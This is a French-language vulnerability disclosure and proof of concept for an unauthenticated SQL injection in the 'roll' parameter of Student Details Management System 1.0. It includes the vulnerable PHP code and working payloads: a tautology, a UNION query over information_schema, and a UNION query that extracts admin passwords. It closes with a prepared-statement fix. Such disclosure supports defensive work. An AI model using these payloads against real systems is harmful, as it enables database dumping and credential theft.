
Preuve de concept pour une injection SQL non authentifiée dans Student Details Management System 1.0, démontrant l'extraction de données par UNION et le vol d'identifiants.
| Champ | Détails |
|---|
| Produit | Système de gestion des détails des étudiants |
| Fournisseur | code-projects.org |
| Version | 1.0 |
| Type de vulnérabilité | Injection SQL (CWE-89) |
| ID CVE | En attente |
| Score CVSS | 9,8 Critique (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Authentification requise | Non |
| Fichier concerné | /SMS/index.php |
| Paramètre vulnérable | roll (POST) |
Une vulnérabilité critique d'injection SQL existe dans le fichier index.php du Système de gestion des détails des étudiants 1.0. Le paramètre roll transmis via une requête POST est directement concaténé dans une requête SQL brute sans assainissement, validation des entrées ou utilisation de requêtes préparées. Cela permet à un attaquant distant non authentifié d'injecter du SQL arbitraire et d'effectuer une extraction de données basée sur UNION, en déversant l'intégralité du serveur de base de données, y compris les tables d'identifiants.
La vulnérabilité existe sur le formulaire de recherche d'étudiants accessible au public, ne nécessitant aucune authentification.
Fichier : index.php (lignes 51 à 59)
include('dbcon.php');
if (isset($_POST['show'])) {
$Standard = $_POST['standard'];
$RollNo = $_POST['roll'];
$sql = "SELECT * FROM `student` WHERE `standard` = '$Standard' OR `rollno`='$RollNo'";
$result = mysqli_query($conn,$sql);
$Standard et $RollNo sont tous deux extraits directement de $_POST sans échappement ni paramétrage. L'attaquant contrôle le paramètre roll pour sortir du contexte de chaîne SQL et injecter des requêtes arbitraires.
Accédez à la page d'accueil de l'application et saisissez un numéro de rôle valide :
http://<TARGET>/SMS/index.php
Saisissez 1001 dans le champ numéro de rôle → l'application renvoie normalement les enregistrements des étudiants.

Saisissez un guillemet simple ' dans le champ numéro de rôle et cliquez sur AFFICHER LES INFORMATIONS.
Résultat : MariaDB génère une erreur fatale exposant la requête SQL brute et le chemin du fichier :
Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
check the manual that corresponds to your MariaDB server version for the right
syntax to use near '"' at line 1 in
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php:59

Charge utile :
' or 1=1 -- -
Résultat : Tous les enregistrements des étudiants dans la base de données sont renvoyés sans aucun numéro de rôle valide, confirmant que l'injection est exploitable.

Requête Burp Suite :
POST /STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE/SMS/index.php HTTP/1.1
Host: 192.168.0.9
Content-Type: application/x-www-form-urlencoded
roll=1001' union select null,null,table_name,null,null,null,null from information_schema.tables -- -&standard=SELECT+STANDARD&show=SHOW+INFO
Résultat : La colonne name (position 3 dans l'UNION) renvoie chaque nom de table de toutes les bases de données de l'instance MySQL — y compris admin, global_priv, users, mysql.user et les tables d'identifiants de plusieurs autres applications installées sur la même instance XAMPP.

L'extraction révèle des tables sensibles, notamment admin, users, global_priv et tbl_admin provenant d'autres bases de données sur le même serveur. Un attaquant peut extraire les identifiants avec :
roll=1' union select null,null,password,null,null,null,null from admin-- -
Combiné à la sortie d'erreur détaillée (étape 2), la divulgation complète du chemin du fichier est également confirmée :
C:\xampp\htdocs\STUDENT_DETAILS_MANAGEMENT_SYSTEM_IN_PHP_WITH_SOURCE_CODE\SMS\index.php
adminUtilisez des requêtes préparées avec des paramètres liés :
$stmt = $conn->prepare("SELECT * FROM `student` WHERE `standard` = ? OR `rollno` = ?");
$stmt->bind_param("ss", $Standard, $RollNo);
$stmt->execute();
$result = $stmt->get_result();
De plus, désactivez la sortie d'erreur PHP/MySQL détaillée en production en définissant display_errors = Off dans php.ini.
Chercheur : Imad Alvi